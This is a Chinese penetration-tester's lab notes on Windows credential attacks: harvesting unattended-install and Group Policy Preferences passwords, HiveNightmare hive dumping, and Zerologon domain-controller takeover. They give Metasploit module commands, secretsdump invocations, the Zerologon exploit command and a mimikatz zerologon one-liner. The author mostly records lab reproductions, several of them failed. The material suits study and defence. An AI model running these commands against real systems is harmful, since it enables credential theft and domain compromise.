4.6 用户凭据操作
4.6.1 枚举Unattended凭据
无人值守(Unattended)安装运行应用程序再不需要管理员关注自动安装。无人值守会残留一些配置文件,其中可能包含本地管理员的用户名和密码,常见路径如下:
C:\sysprep.inf
C:\syspreg\sysprep.xml
C:\syspreg\system32\sysprep.inf
C:\syspreg\system32\sysprep\sysprep.xml
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\system32\Sysgrep\Unattend.xml
msf操作
msfconsole
use post/windows/gather/enum_unattend
set session <SessionID>
run
不过我这里没有安装无人值守,所以就没法复现
4.6.2 获取组策略凭据
msfconsole
use /windows/gather/credentials/gpp
set session <sessionID>
run
微软在Windows Server 2008 中引入了组策略首选项
, 允许网络管理员对指定计算机和用户配置特定的设置
在新建一个组后, 控制器会在SYYVOL共享目录下生成一个xml文件, 改文件保留了组策略更新后的密码。
SYSVOL是在安装活动目录时创建的一个用于
存储公共文件服务器副本
的共享文件夹
, 主要存放登录脚本
,组策略数据
以及其他域控制器需要的域信息
等, 并在所有结果身份验证的域用户或者域信任用户范围内共享
在SYSVOL目录中可以找到一个名为Groups.xml
的文件,其中的cpassword字段保存了经过AES 256加密后的用户密码, 微软在2012年公布了加密秘钥, 这就意味着域内用户都可以读取Groups.xml中的密码并使用公开的秘钥进行解密。且由于通过组策略批量修改的本地管理员密码都是相同的, 这就意味着拿到一台机器的本地管理员密码就拿到了域控账户进而通过域管账户拿下整个域。
这里复现失败了
4.6.3 HiveNightmare
2021年7月公布漏洞(CVE-2021-36934), 由于Windows中多个系统文件的访问控制表(ACL)过于宽松,使得任何标准用户都可以从系统影卷副本
中读取包括SAM、SYSETM、SECURITY在内的多个系统文件。拿到这几个文件之后就可以进行本地破解,拿到用户的NTLM hash
进行PTH攻击或者直接本地爆破密码。
该漏洞影响WIN10 Version 1809发布以来的所有Windows版本,包括Windows11, 被称为
HiveNightmare
漏洞利用条件有两个:
系统保护开启
(默认开启)- 系统中创建有还原点
三个系统文件位置为:
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SECURITY
检测
以标准用户执行以下命令
icacls C:\Windows\System32\config\SAM
工具下载
https://github.com/GossiTheDog/HiveNightmare/
运行后,会把SAM等文件转储到当前目录
把它们传出来,随后可以再本地跑出SAM中用户哈希值
python secretsdump.py -sam SAM-2022-11-14 -system SYSTEM-2022-11-14 -security SECURITY-2022-11-14 LOCAL
win7是复现成功了,但是win11不行呢
4.6.4 Zerologon 域内提权
Zerologon(CVE-2020-1472)是Netlogon远程协议的一个特权漏洞的提升, 可以在不提供任何凭据的情况下通过身份验证, 实现域内提权。
漏洞常见的利用方法就是调用Netlogon中的RPC函数NetrServerPasswordSet2
来重置域控制器账户的密码
。注意这里重置的是DC机器账户密码
(详细的域内用户组参考域内信息收集,这里的机器账户就是域成员主机组内的账户Domain Computers), 这个域控制器主机账户密码由系统随机生成(密码强度是120字符,且会定时更新).
在域内的机器账户以机器名+$
也是一种域用户, 它是不允许登录的, 所以不能直接进行远程登录域控制器, 但是域控制器的机器账户在默认下拥有DCSync权限, 因此可以通过DCSync攻击导出域管理员密码的哈希, 从而获取域控权限。
装了win10
4.6.4.1 重置域控密码
实操示例
可以到项目CVE-2020-1472获取poc文件
-
运行cve-2020-1472-exploit.py 将域控制器密码重置为空
python3 cve-2020-1472-exploit.py [DCName] [DCIP]
这时候想起来靶机上没有python,想起来h0cksr师傅说pyinstaller可以编译
python -m pip install --upgrade pip
python -m pip install pyinstaller
Python -m pip install impacket
#dist下面找到有.py打包的.exe文件
poc.exe DC 192.168.30.10
坑点: 但是后面脱域自动关机了,很久才能进去服务器...
我一开始Pyinstaller居然会报module not found,这时候需要我们指定python 目录下的第三方库模板目录路径 site-packages
pyinstaller -F .\secretsdump.py -p C:\Users\20281\AppData\Local\Programs\Python\Python310\Lib\site-packages
但是未能解决问题,最后我是装了python环境才行
但是在这里又失败了, 前面将密码置空的cve-2020-1472-exploit.exe
执行返回没问题, 但是执行secretsdump.exe
获取SAM数据的时候就失败了
尝试hack-my.com/thai这个用户,还是崩了
h0cksr师傅:此外也可以使用mimikatz直接进行攻击(有些mimikatz版本没有zerologon模块,可以到这里下载mimikatz_trunk.zip:
mimikatz.exe "lsadump::zerologon /target:192.168.30.10 /ntlm /null /account:DC$/exploite" exit
4.6.4.2 恢复域控密码
在攻击结束之后需要及时恢复域控的密码, 否则可能导致域控制器脱域。主要原因是
域控NTDS.dit
中存储的密码和域控本地注册表
中存储的密码不一致
这一步应该是在上面利用成功的情况下才会使用的, 但是也还是记一下:
导出注册表:
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hivCOPY
导出后复制到本地, 使用secretsdump.py
导出注册表中的哈希值,重置机器前的机器用户密码(密码前面有plain_password_hex:
,显示的是HEX编码后的结果)
python3 secretsdump.py -sam sam.hiv -system system.hiv -security security.hiv LOCALCOPY
(感觉翻车的地方太多了, 可能是比较新win10且为教育版比较特殊的原因吧, 不过提权)